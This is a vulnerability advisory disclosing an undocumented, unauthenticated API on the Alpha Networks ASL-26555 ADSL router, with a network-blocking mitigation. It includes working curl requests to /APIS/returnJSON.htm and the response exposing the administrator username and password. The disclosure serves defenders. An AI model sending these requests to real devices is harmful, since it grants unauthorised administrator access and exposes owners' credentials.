Alpha Networks ADSL2/2+ Wireless Router ASL-26555 - Password Disclosure

- Title:

Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Remote Administration Password Disclosure

- Author:

Alberto Ortega @a0rtega
alberto[@]pentbox[.]net

- Version:

Tested on firmware version v2.0.0.30B_ES.
Laboratory subject: http://a0rtega.pentbox.net/files/asl-26555-zombie.jpg

- Summary:

Alpha Networks ADSL Wireless Routers have an administration web panel
to manage the device configuration.

To access the panel, the administrator has to visit the IP of the device using
the port 8000 with a web browser. It will prompt for authentication.

$ curl http://192.168.1.1:8000/SETUP/sp_home.htm
<title>401 Not Authorized</title>
<h1>401 Not Authorized</h1>

$ curl -I http://192.168.1.1:8000/SETUP/sp_home.htm
HTTP/1.1 401 Not Authorized
Server: LocalAccess
Date: Thu, 16 Aug 2012 18:23:08 GMT
WWW-Authenticate: Basic realm="ASL-26555"

- The vulnerability:

If we investigate the directory /APIS/ in the same web server we will have a fully usable
API to grab information from the device.

This API doesn't seem to be documented anywhere, quite weird (backdoor?).

Also, this API doesn't require authentication and grant us administrator access.

The implemented calls to the API are:

returnWifiJSON.htm              returnInterfacesJSON.txt
returnWelcomeInfoJSON.htm       returnFirewallLevelJSON.txt
returnUsbJSON.htm               returnFirewallJSON.txt
returnServicesJSON.txt          returnDhcpList.htm
returnPasswordJSON.htm          returnDevicesJSON.htm
returnLoginStatusJSON.htm       returnApplicationsListJSON.htm
returnLoginJSON.txt             returnApplicationsJSON.htm
returnJSON.htm                  returnApplicationJSON.txt
returnIpJSON.txt                returnInternetJSON.htm

We can read all the configuration from the device without authentication. In addition, we have
a call named returnJSON.htm that returns us the credentials of the administrator user:

$ curl -I http://192.168.1.1:8000/APIS/returnJSON.htm
HTTP/1.1 200 OK
Server: LocalAccess
Date: Thu, 16 Aug 2012 18:29:50 GMT
Transfer-Encoding: chunked
Content-Type: text/html

$ curl http://192.168.1.1:8000/APIS/returnJSON.htm
{
	"RETURN":{
		"success": true,
		"errorDescription": "ERROR_GENERAL"
	},
	"USER":{
		"USERNAME": "admin",
		"PASSWORD": "adm1n_passw0rd_exposed"
	}
}

This credentials can be used to log into the web panel with the administrator account.

- Mitigation:

The only possible mitigation is to drop access to everyone from the outside
with a network level blocking configuration.
This can be done in the Advanced configuration of the device.

You can also turn off the web panel, but you won't be able to manage the device.